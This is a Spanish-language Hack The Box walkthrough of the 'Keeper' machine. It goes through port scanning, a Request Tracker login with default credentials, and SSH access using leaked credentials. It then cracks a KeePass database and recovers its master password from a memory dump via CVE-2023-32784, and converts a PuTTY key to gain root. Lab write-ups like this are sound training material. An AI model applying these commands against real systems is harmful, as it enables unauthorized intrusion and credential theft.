Keeper - Hack The Box

RECONOCIMIENTO
- Hacemos un
pinga la maquina victima para saber contra el tipo de sistema que nos estamos enfrentando
ping -c 5 10.10.11.227
PING 10.10.11.227 (10.10.11.227) 56(84) bytes of data.
64 bytes from 10.10.11.227: icmp_seq=1 ttl=63 time=82.0 ms
64 bytes from 10.10.11.227: icmp_seq=2 ttl=63 time=42.3 ms
64 bytes from 10.10.11.227: icmp_seq=3 ttl=63 time=42.2 ms
64 bytes from 10.10.11.227: icmp_seq=4 ttl=63 time=43.0 ms
64 bytes from 10.10.11.227: icmp_seq=5 ttl=63 time=42.2 ms
--- 10.10.11.227 ping statistics ---
5 packets transmitted, 5 received, 0% packet loss, time 4047ms
rtt min/avg/max/mdev = 42.154/50.331/82.028/15.851 ms
Como podemos ver nos estamos enfrentando a una maquina Linux por el campo de los ttl=63.
- Reconocimiento de puertos abierto de la maquina
nmap -p- --open -sS --min-rate 5000 -vvv -n -Pn 10.10.11.227 -oG allPorts
Host discovery disabled (-Pn). All addresses will be marked 'up' and scan times may be slower.
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 12:59 UTC
Initiating SYN Stealth Scan at 12:59
Scanning 10.10.11.227 [65535 ports]
Discovered open port 80/tcp on 10.10.11.227
Discovered open port 22/tcp on 10.10.11.227
Completed SYN Stealth Scan at 12:59, 11.97s elapsed (65535 total ports)
Nmap scan report for 10.10.11.227
Host is up, received user-set (0.086s latency).
Scanned at 2024-10-29 12:59:35 UTC for 12s
Not shown: 65533 closed tcp ports (reset)
PORT STATE SERVICE REASON
22/tcp open ssh syn-ack ttl 63
80/tcp open http syn-ack ttl 63
Read data files from: /usr/bin/../share/nmap
Nmap done: 1 IP address (1 host up) scanned in 12.09 seconds
Raw packets sent: 65639 (2.888MB) | Rcvd: 65639 (2.626MB)
- Escaneo exhaustivo sobre los puertos abiertos para el reconocimiento de servicios
nmap -p22,80 -sCV 10.10.11.227 -oN targeted
Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-10-29 13:02 UTC
Nmap scan report for keeper.htb (10.10.11.227)
Host is up (0.057s latency).
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.9p1 Ubuntu 3ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 256 35:39:d4:39:40:4b:1f:61:86:dd:7c:37:bb:4b:98:9e (ECDSA)
|_ 256 1a:e9:72:be:8b:b1:05:d5:ef:fe:dd:80:d8:ef:c0:66 (ED25519)
80/tcp open http nginx 1.18.0 (Ubuntu)
|_http-server-header: nginx/1.18.0 (Ubuntu)
|_http-title: Site doesn't have a title (text/html).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 10.47 seconds
Como podemos ver tenemos tanto el puerto 22 abierto corriendo el servicio de ssh por detrás y el puerto 80 abierto con un servicio http.
RECONOCIMIENTO WEB
- Antes de empezar a
Fuzzearharía algunos escaneos básicos de reconocimiento sobre la web que nos pueden dar algún tipo de información valiosa en algunos casos
whatweb http://10.10.11.227:80
http://10.10.11.227:80 [200 OK] Country[RESERVED][ZZ], HTTPServer[Ubuntu Linux][nginx/1.18.0 (Ubuntu)], IP[10.10.11.227], nginx[1.18.0]
No nos devuelve nada interesante, podríamos lanzar un script de nmap para ver directorios abiertos que puede tener la pagina pero ya adelanto que no hay nada.
Por lo que vamos a echar un vistazo a la web a ver que nos proporciona.

Como podemos ver nos esta dando información sobre el dominio, por lo que vamos a agregar en nuestro /etc/hosts keeper.htb & tickets.keeper.htb.
- Visitamos la web con los nombres actualizados

Nos encontramos contra un panel de Login de una especie de repositorio llamado REQUEST TRACKER, por lo que vamos a ver las contraseñas por defecto que puede tener.
Log in. Use a browser to log into RT. **Username is root , and password is password.
![[Pasted image 20241029141627.png]]
Y conseguimos acceder al panel de Administración de la web, indagando un poco encontramos lo siguiente.

Un tal nombre de usuario lnorgaard y una password Welcome2023! por lo que como sabemos que tenemos el ssh abierto vamos a probar estas credenciales a ver si podemos tener acceso a la maquina.
USER AS lnorgaard
- Inicio de sesión a través de
ssh
ssh lnorgaard@keeper.htb
lnorgaard@keeper.htb's password:
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have mail.
Last login: Tue Oct 29 12:11:53 2024 from 10.10.16.2
lnorgaard@keeper:~$ cat user.txt
c409569599b****************
TRATAMIENTO DE LA TTY EN UNA SHELL DE SSH
lnorgaard@keeper:~$ export TERM=xterm
lnorgaard@keeper:~$
ESCALADA DE PRIVILEGIOS A ROOT
lnorgaard@keeper:~$ ls -la
total 85384
drwxr-xr-x 4 lnorgaard lnorgaard 4096 Jul 25 2023 .
drwxr-xr-x 3 root root 4096 May 24 2023 ..
lrwxrwxrwx 1 root root 9 May 24 2023 .bash_history -> /dev/null
-rw-r--r-- 1 lnorgaard lnorgaard 220 May 23 2023 .bash_logout
-rw-r--r-- 1 lnorgaard lnorgaard 3771 May 23 2023 .bashrc
drwx------ 2 lnorgaard lnorgaard 4096 May 24 2023 .cache
-rw------- 1 lnorgaard lnorgaard 807 May 23 2023 .profile
-rw-r--r-- 1 root root 87391651 Oct 29 14:24 RT30000.zip
drwx------ 2 lnorgaard lnorgaard 4096 Jul 24 2023 .ssh
-rw-r----- 1 root lnorgaard 33 Oct 29 11:53 user.txt
-rw-r--r-- 1 root root 39 Jul 20 2023 .vimrc
lnorgaard@keeper:~$
- Tenemos un archivo
.zipque parece bastante interesante, por lo que vamos a transferirlo a nuestra maquina atacante y analizamos el fichero con detalle
lnorgaard@keeper:~$ md5sum RT30000.zip
c29f90dbb88d42ad2d38db2cb81eed21 RT30000.zip
lnorgaard@keeper:~$
lnorgaard@keeper:~$ which python3
/usr/bin/python3
lnorgaard@keeper:~$ python3 -m http.server 8081
Serving HTTP on 0.0.0.0 port 8081 (http://0.0.0.0:8081/) ...
wget http://10.10.11.227:8081/RT30000.zip
--2024-10-29 13:26:53-- http://10.10.11.227:8081/RT30000.zip
Conectando con 10.10.11.227:8081... conectado.
Petición HTTP enviada, esperando respuesta... 200 OK
Longitud: 87391651 (83M) [application/zip]
Grabando a: «RT30000.zip»
RT30000.zip 100%[================================================================================================>] 83,34M 13,9MB/s en 8,8s
2024-10-29 13:27:02 (9,52 MB/s) - «RT30000.zip» guardado [87391651/87391651]
md5sum RT30000.zip
c29f90dbb88d42ad2d38db2cb81eed21 RT30000.zip
- Una vez transferido vamos a descomprimirlo a ver que contiene
unzip RT30000.zip
Archive: RT30000.zip
inflating: KeePassDumpFull.dmp
extracting: passcodes.kdbx
❯ ls -la
drwxr-xr-x root root 88 B Tue Oct 29 13:29:17 2024 .
drwxr-xr-x root root 52 B Tue Oct 29 13:26:26 2024 ..
.rwxr-x--- root root 242 MB Wed May 24 10:51:31 2023 KeePassDumpFull.dmp
.rwxr-x--- root root 3.5 KB Wed May 24 10:51:11 2023 passcodes.kdbx
.rw-r--r-- root root 83 MB Tue Oct 29 13:26:01 2024 RT30000.zip
- Como podemos ver el archivo contiene una base de datos
.kdbxlo que significa que es un archivo dekeepassque esta protegido por unapassword, lo primero que se me ocurre viendo esto es extraer elhashde dicho fichero e intentar crackearlo con el uso de la herramientaJohn, os voy adelantando que no va a funcionar debido a que la contraseña no esta dentro del diccionario, pero se haría de la siguiente forma por si os interesa saberlo.
❯ keepass2john passcodes.kdbx > hash
❯ cat hash
───────┬───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
│ File: hash
───────┼───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
1 │ passcodes:$keepass$*2*60000*0*5d7b4747e5a278d572fb0a66fe187ae5d74a0e2f56a2aaaf4c4f2b8ca342597d*5b7ec1cf6889266a388abe398d7990a294bf2a581156f7a7452b4074479bdea7*08500fa5a52622
│ ab89b0addfedd5a05c*411593ef0846fc1bb3db4f9bab515b42e58ade0c25096d15f090b0fe10161125*a4842b416f14723513c5fb704a2f49024a70818e786f07e68e82a6d3d7cdbcdc
───────┴───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
Con el hash extraído lo único que tendríamos que hacer es crackearlo con la herramienta de la siguiente forma
john --w=/usr/share/wordlists/rockyou.txt hash
- Como he mencionado anteriormente, no iba a funcionar de esa manera pero ahí la tenéis como manera de aprendizaje, como podemos ver, no solo tenemos el fichero
.kdbxsino que también hay un.dmpque viene siendo undumpeode la memoria, si investigamos un poco podemos ver queKeepasstenia una vulnerabilidad que a través de undumpeode la memoria podíamos obtener el valor de la clave maestra es texto claro, por lo que indagando un poco he encontrado la siguiente vulnerabilidadCVE-2023-32784. Hay mucho exploits para esta vulnerabilidad desarrollados en infinidad de lenguajes pero yo he elegido el siguiente exploit.
python3 poc.py KeePassDumpFull.dmp
2024-10-29 13:40:47,756 [.] [main] Opened KeePassDumpFull.dmp
Possible password: ●,dgr●d med fl●de
Possible password: ●ldgr●d med fl●de
Possible password: ●`dgr●d med fl●de
Possible password: ●-dgr●d med fl●de
Possible password: ●'dgr●d med fl●de
Possible password: ●]dgr●d med fl●de
Possible password: ●Adgr●d med fl●de
Possible password: ●Idgr●d med fl●de
Possible password: ●:dgr●d med fl●de
Possible password: ●=dgr●d med fl●de
Possible password: ●_dgr●d med fl●de
Possible password: ●cdgr●d med fl●de
Possible password: ●Mdgr●d med fl●de
Nos devuelve las posibles credenciales que pueden ser, si buscamos eso en google nos sale lo siguiente
Rødgrød med Fløde
- Probamos la password tanto en minúsculas como mayúsculas para ver si puede funcionar

Y ganamos acceso al gestor

- Podemos ver la password, pero al testearla nos damos cuenta de que no nos sirve para ganar acceso total al equipo, por lo que indagando un poco vemos que en las notas nos encontramos un clave privada de
Putty, si investigamos un poco hay una forma para pasar las claves privadas dePuttya claves privadas dessh, por lo que vamos a intentar convertirla y ganar acceso completo al equipo victima.
sudo apt-get install putty-tools
puttygen id_dsa.ppk -O private-openssh -o id_rsa
puttygen id_dsa.ppk -O public-openssh -o id_rsa.pub
chmod 600 id_rsa
- Intentamos entrar con ssh con la clave generada
ssh root@keeper.htb -i id_rsa
Welcome to Ubuntu 22.04.3 LTS (GNU/Linux 5.15.0-78-generic x86_64)
* Documentation: https://help.ubuntu.com
* Management: https://landscape.canonical.com
* Support: https://ubuntu.com/advantage
Failed to connect to https://changelogs.ubuntu.com/meta-release-lts. Check your Internet connection or proxy settings
You have new mail.
Last login: Tue Oct 29 12:44:52 2024 from 10.10.16.2
root@keeper:~# ls -la
total 85384
drwx------ 5 root root 4096 Oct 29 11:53 .
drwxr-xr-x 18 root root 4096 Jul 27 2023 ..
lrwxrwxrwx 1 root root 9 May 24 2023 .bash_history -> /dev/null
-rw-r--r-- 1 root root 3106 Dec 5 2019 .bashrc
drwx------ 2 root root 4096 May 24 2023 .cache
-rw------- 1 root root 20 Jul 27 2023 .lesshst
lrwxrwxrwx 1 root root 9 May 24 2023 .mysql_history -> /dev/null
-rw-r--r-- 1 root root 161 Dec 5 2019 .profile
-rw-r----- 1 root root 33 Oct 29 11:53 root.txt
-rw-r--r-- 1 root root 87391651 Jul 25 2023 RT30000.zip
drwxr-xr-x 2 root root 4096 Jul 25 2023 SQL
drwxr-xr-x 2 root root 4096 May 24 2023 .ssh
-rw-r--r-- 1 root root 39 Jul 20 2023 .vimrc
root@keeper:~# cat root.txt
fc24007e975259a610b2fe01e7fb6a30
root@keeper:~#
Como podemos ver ganamos el control total de la maquina y ya hemos completado este reto.